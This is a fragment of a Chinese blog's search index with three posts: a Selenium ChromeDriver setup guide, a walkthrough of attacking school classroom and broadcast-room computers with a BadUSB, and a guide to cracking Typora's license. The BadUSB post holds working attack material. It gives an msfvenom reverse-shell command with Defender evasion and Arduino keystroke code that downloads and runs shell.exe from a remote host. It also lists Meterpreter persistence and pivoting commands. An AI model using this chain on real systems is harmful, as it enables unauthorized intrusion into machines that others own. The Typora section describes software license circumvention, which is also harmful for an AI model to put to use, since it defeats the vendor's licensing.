","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/:3:0","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["自动化测试","Python"],"content":"简便设置\r在Chrome快捷方式标签下,目标后面加上参数,在目标后加入cmd当中的参数,起始位置为自己的项目路径,这样方便管理各个测试项目、端口,目录英文名即为项目名。 –remote-debugging-port=9222 --user-data-dir=\"./自定义空目录(英文)\" 使用cmd,运行下面的命令,即可查看运行状态。 netstat -ano | findstr 9222 技巧\r运行代码后,再手动打开浏览器,实现调试目的,不乱顺序。\r","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/:4:0","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["自动化测试","Python"],"content":"一些错误解决\r如遇到版本不匹配等问题,运行下面代码: from win32com.client import Dispatch import re import stat,zipfile,os,psutil import requests from lxml import etree import time class auto_download_chromedrive(object): def __init__(self): self.chromedrive_url = \"https://chromedriver.chromium.org/downloads\" self.local_chrome_paths = [r\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\", r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\"] self.headers = {'content-type': 'application/json', 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'} def get_version_via_com(self, filename): parser = Dispatch(\"Scripting.FileSystemObject\") try: version = parser.GetFileVersion(filename) except Exception: return None return version def get_chromedriver_urls(self): try: r = requests.Session() response = r.get(self.chromedrive_url, headers=self.headers) print(response.status_code, response.encoding) html = etree.HTML(response.text, etree.HTMLParser()) # 解析HTML文本内容 version_href = html.xpath(\".//strong//..//@href\") print(\"all chrome browser versions can be choosed:\") for href in version_href: print(href) return version_href except Exception: return None def download_chromadrive(self, url): try: r = requests.Session() response = r.get(url, headers=self.headers) if response.status_code == 200: with open(\"chromedriver_win32.zip\", \"wb\") as f: f.write(response.content) print(\"下载完成\") return 1 else: print('Url请求返回错误,错误码为: %d' % response.status_code) return None except Exception: print(\"request download chromedriver_win32.zip failed!\") return None def find_local_version(self, loc_ver, all_ver): \"\"\" :param loc_ver: 本地浏览器的版本 :param all_ver: 下载的所有版本浏览器版本 :return: 找到匹配的,return url,否则return None \"\"\" for href in all_ver: try: res = re.search(r\"path=(.*?)/\", href) find_ver = res.group(1).split(\".\")[0] #截取大版本 if loc_ver == find_ver: return href except Exception: continue print(\"not find match chrome browser{} version!\".format(loc_ver)) return None def kill_process(self, process_name): print(\"检测{}进程是否存在,存在则杀掉。\".format(process_name)) pl = psutil.pids() for pid in pl: if psutil.Process(pid).name() == process_name: print('{} 存在进程中,杀掉'.format(process_name)) os.popen('taskkill /f /im %s' %process_name) return pid print('{} 不存在进程中。'.format(process_name)) return None def unzip(self): self.kill_process(\"chromedriver.exe\") print(\"去除旧版本chromedriver_win32文件夹内文件的只读属性(如果是只读)\") old_driver_path = os.path.join(os.getcwd(), \"chromedriver_win32\") if os.path.exists(old_driver_path): for sub_file in os.listdir(old_driver_path): os.chmod(os.path.join(old_driver_path, sub_file), stat.S_IRWXU) time.sleep(1) #这个delay必须要有,os操作还是需要时间的 print('''解压 chromedriver_win32.zip,覆盖旧版本''') zFile = zipfile.ZipFile(os.path.join(os.getcwd(), \"chromedriver_win32.zip\"), \"r\") for fileM in zFile.namelist(): zFile.extract(fileM, old_driver_path) zFile.close() def start(self): '''读取本地chrome version''' version = list(filter(None, [self.get_version_via_com(p) for p in self.local_chrome_paths]))[0] if not version: print(\"check chrome browser version failed!\") return None print(\"chrome browser version:\", version) '''下载网页端与本地匹配的chromedriver.exe''' version_href = self.get_chromedriver_urls() if not version_href: print(\"request %s failed!\"%self.chromedrive_url) return None find_url = self.find_local_version(version.split(\".\")[0], version_href) print(\"找到匹配的版本:\\n%s\"%find_url) if not find_url: return None version_num = re.search(r\"path=(.*?)/\", find_url).group(1) find_url_2 = find_url.rsplit('/', 2)[0] new_url = \"{}/{}/chromedriver_win32.zip\".format(find_url_2, version_num) print(\"downloading......\\n%s\"%new_url) ret = self.download_chromadrive(new_url) if not ret: return None self.unzip() if __name__ == \"__main__\": chrome = auto_download_chromedrive() chrome.start() ","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/:5:0","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["近源渗透"],"content":"本文所用到的工具:\rl Badusb l Ngrok l Arduino l Msfconsole l Msfvenom l 迷你相机 ","date":"2023-05-27","objectID":"/posts/badusb/:1:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"蓄谋已久的前言:\r每次上楼时,都能看见广播室门开得非常宽, 但这不是重点,重点是里面的电脑(Windows XP),电脑桌面上是LED大屏幕的编辑软件。 二楼有个网络管理箱并由管道内的网线传输到每个教室的多媒体(Windows 10)。 看看兜里的Badusb,突然就散发出了浓浓的香味,哧溜。 俗话说“艺高人胆大”,但吾也要:武艺不高强,菜鸟也先飞! ","date":"2023-05-27","objectID":"/posts/badusb/:2:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"分析并整理收集到的信息\r主机 系统 杀毒软件 网络状态 广播室 Windows XP 不详 不详 多媒体 Windows 10 Defender**、360 正常 而且我们从二楼的网络管理箱分支网线的管道可推断出二楼所有教师的多媒体属于同一内网。我们在烧录代码的时候,就要根据不同的系统版本,网络状态,杀毒软件等因素来进行烧录。为什么说广播室的具体信息我们获取不到呢?因为“可远观,而不可亵玩焉。” ","date":"2023-05-27","objectID":"/posts/badusb/:3:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"部署Payload及规避模块到Ngrok\r首先我们使用规避模块生成一个Windows EXE文件来规避Windwos Defender程序,操作如下: show evasuibd use windows/windows_defender_exe show options 接着run 可以看到生成的FILE NAME(文件名是随机的) 当然也可以自定义 Set FILENAME 文件名即可 生成的文件保存到了 /root/.msf4/local/yZdsypg.exe接下来我们来部署反弹环境 在这里来注册一个账户 登录后来到后台页面点击 当然也有免费的隧道,不过网速较慢,根据自己的情况而定! 接着我们点击立即购买,会跳转到隧道配置的页面,如图: 使用ping服务器地址命令,找到IP地址。 接着我们打开刚解压下来的文件夹 输入./sunny clientid 填写你的隧道ID 出现这个界面就代表隧道连接成功! 接着我们用Msfvenom生成可执行文件,代码如下: msfvenom -p windows/meterpreter/reverse_tcp LHOST=平台给出的IP LPORT=平台给出的端口 -e x86/shikata_ga_nai -b \"\\x00\" -i 5 -a x86 --platform win PrendMigrate=true PrendMigrateProc=svchost.exe -f exe -o /root/shell.exe 注:如果是64位系统,Payload则更改为:windows/x64/meterpreter/reverse_tcp对于小白很陌生带两个值是可以实现自动迁移进程的功能,关闭其中一进程并不影响另一进程。 -k选项并不适用于所有模板,请提前做好测试。 ","date":"2023-05-27","objectID":"/posts/badusb/:4:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"安装Arduino\r首先我们打开arduino安装包 完成了安装。 配置如下: 完成安装。 ","date":"2023-05-27","objectID":"/posts/badusb/:5:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"烧录代码\r代码贴出: #include \u003cKeyboard.h\u003e void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println(\"CMD.EXE /t:01 /k MODE con: cols=16 lines=2\"); delay(1000); Keyboard.println(\"POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'http://ip/shell.exe';$FILE = ' c:\\\\SHELL.EXE ';$CLNT.dOWNLOADfILE($URL,$FILE);\"); delay(3000); Keyboard.println(\"C:\\\\SHELL.EXE\u0026EXIT\"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { } 更多代码在文章底部有相关信息,不要着急! 编译好之后我们直接上传即可完成烧录,直接点击上传可以检查编译并上传。 ","date":"2023-05-27","objectID":"/posts/badusb/:6:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"Shell快到碗里来\r让基友给我赶烧: 如图: 我们已经获取到了Meterpreter会话,现在我们可以为所欲为了! 为了防止亡羊补牢,要一劳永逸,我们先添加一个持久后门,命令如下: run persistence -X -i 5 -p 端口 -r IP 或者 run metsvc 第二种方法直接监听即可,具体方法找谷哥和度娘。 附带一张屏幕截图: screenshot 打开偷窥一下: ","date":"2023-05-27","objectID":"/posts/badusb/:7:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"内网漫游\r查看子网: 查看子网: run get_local_subnets 添加路由: route add 子网 掩码 会话id 查看路由: route print 自动化添加路由: load auto_add_route 额…….好吧 得退出meterpreter会话,因不可描述因素,就这样吧。 提示得运行一个Post模块,并且添加参数,大家明白就好。 设置完毕后接下来就看自己的操作了, 广播室也被搞定,也是因不可描述规章制度等原因不再继续。 正文到此结束。 ","date":"2023-05-27","objectID":"/posts/badusb/:8:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["近源渗透"],"content":"总结\r1.要提前知晓操作系统。 2.根据不同的系统要构造不同的Payload。 3.采用多种可执行后缀(bat、exe、docx)。 4.获取Shell要第一时间添加后门。 5.不推荐使用Ngrok,自行百度其他平台,但使用方法基本一致。 6.添加完路由如果有网络异常状态,则删除路由条目。 代码以烧录器整理集合如下: (均来自互联网、适用与否请提前在虚拟机测试) 打开烧录脚本软件,点击文件–打开即可。 提取码:btmz https://pan.baidu.com/s/17UCyKosBkjCRb7IBfxfdPg 注:本文仅供参考,内容仅为虚构,代码以及使用方法切勿使用于非法用途! 原创文章-原文链接 ","date":"2023-05-27","objectID":"/posts/badusb/:9:0","tags":["物理硬件"],"title":"携Badusb进校园的系列测试","uri":"/posts/badusb/"},{"categories":["工具破解/使用"],"content":"本文介绍破解版的使用、便捷化的方法(不修改系统时间不用管理员运行)","date":"2023-05-25","objectID":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/","tags":["工具"],"title":"Markdown编辑器——Typora破解版","uri":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/"},{"categories":["工具破解/使用"],"content":"\r摘要\r本文介绍破解版使用、便捷化的方法 (不修改系统时间不用管理员运行) ","date":"2023-05-25","objectID":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/:0:0","tags":["工具"],"title":"Markdown编辑器——Typora破解版","uri":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/"},{"categories":["工具破解/使用"],"content":"运行并且修改RunAsDate.exe的参数\r参数修改如上图即可,Typora(RunAsDate)为你生成的破解版软件名 ","date":"2023-05-25","objectID":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/:1:0","tags":["工具"],"title":"Markdown编辑器——Typora破解版","uri":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/"},{"categories":["工具破解/使用"],"content":"注册表编辑\r将file.ico、RunAsDate.exe、Typora.exe找到并且修改为你自己的路径注意为反斜杠\rWindows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\\Applications\\Typora-run.bat] [HKEY_CLASSES_ROOT\\Applications\\Typora-run.bat\\DefaultIcon] @=\"D:\\\\Typora\\\\resources\\\\assets\\\\file.ico\" [HKEY_CLASSES_ROOT\\Applications\\Typora-run.bat\\shell] [HKEY_CLASSES_ROOT\\Applications\\Typora-run.bat\\shell\\open] [HKEY_CLASSES_ROOT\\Applications\\Typora-run.bat\\shell\\open\\command] @=\"C:\\\\Users\\\\safex\\\\Downloads\\\\runasdate-x64\\\\RunAsDate.exe /movetime 13\\\\02\\\\2020 00:00:00 \\\" D:\\\\Typora\\\\Typora.exe\\\" \\\"%1\\\"\" [HKEY_CLASSES_ROOT\\Applications\\Typora-run.bat\\SupportedTypes] \".md\"=\"\" \".markdown\"=\"\" \".mdown\"=\"\" \".mkd\"=\"\" \".mmd\"=\"\" 修改后去运行Typora-run.bat、Typora-run.reg ","date":"2023-05-25","objectID":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/:2:0","tags":["工具"],"title":"Markdown编辑器——Typora破解版","uri":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/"},{"categories":["工具破解/使用"],"content":"设置中修改md文件打开方式\r成功\r打开md文件,正常启动Typora,则说明破解成功!\r安装包\rhttps://wwme.lanzoum.com/i5Ot40xao6ze\r","date":"2023-05-25","objectID":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/:3:0","tags":["工具"],"title":"Markdown编辑器——Typora破解版","uri":"/posts/typora%E7%A0%B4%E8%A7%A3%E4%BD%BF%E7%94%A8/"}]